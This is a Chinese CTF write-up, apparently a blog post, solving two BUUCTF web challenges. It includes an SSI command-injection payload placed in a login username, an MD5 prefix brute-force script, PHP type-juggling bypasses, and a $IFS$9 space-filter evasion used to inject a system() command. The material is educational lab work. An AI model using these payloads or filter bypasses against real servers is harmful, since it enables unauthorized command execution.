BUU的题WP写的太多了,因而重新再创建一个版本2接着上一个WP。上一篇文章见:

1.[BJDCTF2020]EasySearch

进入页面后,随便看了哈源码,robots.txt,network等无果。因而上dirmap.然而dirmap没有结果,后面发现dirmap的词典没有.swp。。。我添加了一个index.php.swp(看了师傅的WP)然后就扫出来了。访问得到如下源码:

<?php
    ob_start();
    function get_hash(){
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
        $random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
        $content = uniqid().$random;
        return sha1($content); 
    }
    header("Content-Type: text/html;charset=utf-8");
    ***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
            ***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
            echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";

    }else
    {
    ***
    }
    ***
?>

可以看到密码是一个以’6d0bc1’开头的,因而使用python爆破一个密码出来。

passwd=1
while 1:
    md5ps=hashlib.md5(f"{passwd}".encode()).hexdigest()
    beside6=md5ps[0:6]
    if beside6=='6d0bc1':
        print(passwd)
        break
    passwd = passwd +1

pass

由于我的python使用f表示老是有下划线,网上也没找到具体解决办法。因而每次只能使用完注释掉了,代码其实很简单。就是先求数字的md5取前6位与要求比较即可。

最后可以看到上面的结果是2020666

使用6d0bc1/2020666登录进来后页面好像没什么东西,但是仔细看发现:

error

那就看看Header到底有什么错。

在Response Headers中发现蹊跷:

header

上图中多了一个url_is_here的字段,然后仔细看后缀是shtml.这种文件格式很少见。

复制先访问一下这个url.

进入后是下面的界面:

public

到这里就可以搜索一下shtml漏洞了:

ssi

发现大部分都是SSI远程命令执行,先进去学习一波。

也就是Apache存在SSI远程命令执行漏洞,当服务器开启了SSI支持,就可以利用:

<!--#exec cmd="id" -->语法执行任意命令

当然大部分情况都说的上传,这里没有上传点,难道没法利用了?

经过更多资料的查询发现这其中可以使用文件包含达到命令执行。

这里其实仔细看页面发现第一行的Hello,6d0bc1.

首先这个是username,直接显示出来说明经过了处理,这种情况可以尝试XSS,SSTI等等。

这里就利用这个点进行SSI:

参考文章:SSI

因而当我们使用phtml语法登录用户名就把phtml语法插入到了phtml页面中从而达到了命令执行。(所以有时候上传文件phtml也能执行php文件)

重新使用username=<!--#exec cmd="ls" -->,password=2020666

flag

可以看到网站根目录下有一个flag文件访问它就拿到了flag.

2.[WUSTCTF2020]朴实无华

进入页面后,

页面显示Cannot modify header information - headers already sent by

查看响应头并无异常,信息收集一波

先看一下/robots.txt

发现:Disallow: /fAke_f1agggg.php

访问页面提示这不是flag.这下看一下这个页面的响应头发现:Look_at_me: /fl4g.php

ok访问这个php发现源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
        die("金钱解决不了穷人的本质问题");
    }
}else{
    die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
   else
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
    die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
        system($get_flag);
    }else{
        die("快到非洲了");
    }
}else{
    die("去非洲吧");
}
?>

很简单的一道题,第一个用科学计数法2e4直接intval是2满足小于当对其进行加法处理会让其变成20000+1等于20001满足条件绕过。md5搜一个0e开头md5还是0e的即可。找到一个:0e215962017

最后一个过滤了空格和cat,过滤空格使用$IFS$9

原理:$IFS在linux下表示分隔符,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

然后cat用tac就可以了,最后构造如下payload:

?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

Ok,成功拿到flag.